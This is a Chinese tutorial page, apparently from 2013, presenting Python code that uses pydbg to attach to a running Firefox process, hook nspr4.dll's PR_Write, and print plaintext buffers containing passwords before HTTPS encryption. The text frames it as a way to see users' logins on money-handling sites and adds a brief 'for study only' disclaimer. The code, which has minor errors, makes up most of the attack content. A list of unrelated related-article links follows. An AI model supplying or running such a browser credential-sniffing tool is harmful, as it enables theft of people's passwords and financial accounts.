python利用hook技术破解https的实例代码


Posted in Python onMarch 25, 2013

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

#!/ur/bin/env python     
from pydbg import *
from pydbg.defines import *import utils     
import sys     
dbg = pydbg()     
found_firefox = False
pattern = "password"
          
def ssl_sniff( dbg, args ):     
    buffer = ""     
    offset = 0
    while 1:     
        byte = dbg.read_process_memory( args[1] + offset, 1 )     
        if byte != "x00":     
            buffer += byte     
            offset += 1
            continue
        else:     
            break
    if pattern in buffer:     
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE     
# 寻找firefox.exe的进程     
for (pid, name) in dbg.enumerate_processes():     
    if name.lower() == "firefox.exe":     
        found_firefox = True
        hooks = utils.hook_container()     
        dbg.attach(pid)     
        print "[*] Attaching to firefox.exe with PID: %d" % pid     
# 得到firefox的hook的 address     
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")     
        if hook_address:     
# 添加hook的内容,包括他的pid,地址,嗅探类型    
            hooks.add( dbg, hook_address, 2, ssl_sniff, None )     
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address     
            break
        else:     
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)     
        if found_firefox:     
            print "[*] Hooks set, continuing process."
            dbg.run()     
        else:     
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)     
if found_firefox:     
    print "[*] Hooks set, continuing process."
    dbg.run()     
else:     
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.51cto.com/414605/518679

Python 相关文章推荐
python实现监控windows服务并自动启动服务示例
Apr 17 Python
Python标准库之多进程(multiprocessing包)介绍
Nov 25 Python
python字符串对其居中显示的方法
Jul 11 Python
Python实现ssh批量登录并执行命令
Oct 25 Python
详解Python pygame安装过程笔记
Jun 05 Python
django 将model转换为字典的方法示例
Oct 16 Python
Python类的继承用法示例
Jan 31 Python
Python 3.6 -win64环境安装PIL模块的教程
Jun 20 Python
python用for循环求和的方法总结
Jul 08 Python
Python解析json代码实例解析
Nov 25 Python
python中openpyxl和xlsxwriter对Excel的操作方法
Mar 01 Python
教你怎么用PyCharm为同一服务器配置多个python解释器
May 31 Python
利用python获得时间的实例说明
Mar 25 #Python
python 将字符串转换成字典dict
Mar 24 #Python
使用python提取html文件中的特定数据的实现代码
Mar 24 #Python
python 切片和range()用法说明
Mar 24 #Python
python list中append()与extend()用法分享
Mar 24 #Python
python del()函数用法
Mar 24 #Python
python dict remove数组删除(del,pop)
Mar 24 #Python
You might like
约瑟夫环问题的PHP实现 使用PHP数组内部指针操作函数
2010/10/12 PHP
php提示undefined index的几种解决方法
2012/05/21 PHP
在PHP中设置、使用、删除Cookie的解决方法
2013/05/06 PHP
深入PHP内存相关的功能特性详解
2013/06/08 PHP
Yii 框架使用数据库(databases)的方法示例
2020/05/19 PHP
Javascript读取cookie函数代码
2010/10/16 Javascript
javascript 45种缓动效果 非常酷
2011/06/28 Javascript
js键盘上下左右键怎么触发function(实例讲解)
2013/12/14 Javascript
离开当前页面前使用js判断条件提示是否要离开页面
2014/05/02 Javascript
JavaScript实现自动对页面上敏感词进行屏蔽的方法
2015/07/27 Javascript
javascript实现倒计时跳转页面
2016/01/17 Javascript
js中数组的常用方法小结
2016/12/30 Javascript
JS图片延迟加载插件LazyImgv1.0用法分析【附demo源码下载】
2017/09/04 Javascript
node.js 用socket实现聊天的示例代码
2017/10/17 Javascript
webpack4.x开发环境配置详解
2018/08/04 Javascript
vue实现信息管理系统
2020/05/30 Javascript
vue中echarts引入中国地图的案例
2020/07/28 Javascript
python清除指定目录内所有文件中script的方法
2015/06/30 Python
Java实现的执行python脚本工具类示例【使用jython.jar】
2018/03/29 Python
Python使用字典实现的简单记事本功能示例
2019/08/15 Python
tensorflow没有output结点,存储成pb文件的例子
2020/01/04 Python
python+selenium+PhantomJS抓取网页动态加载内容
2020/02/25 Python
澳大利亚宠物食品和药物在线:Jumbo Pets
2018/03/24 全球购物
纽约海:Sea New York
2018/11/04 全球购物
英国最好的温室之家:Greenhouses Direct
2019/07/13 全球购物
Java编程面试题
2016/04/04 面试题
销售人员求职的自我评价分享
2014/03/15 职场文书
财务会计大学生自我评价
2014/04/09 职场文书
信息工作经验交流材料
2014/05/28 职场文书
平安家庭示范户事迹
2014/06/02 职场文书
承诺书格式范文
2014/06/03 职场文书
欢迎新生标语
2014/10/06 职场文书
教师个人查摆剖析材料
2014/10/14 职场文书
2015迎新晚会活动总结
2015/07/16 职场文书
写作技巧:如何撰写商业计划书
2019/08/08 职场文书
SQL使用复合索引实现数据库查询的优化
2022/05/25 SQL Server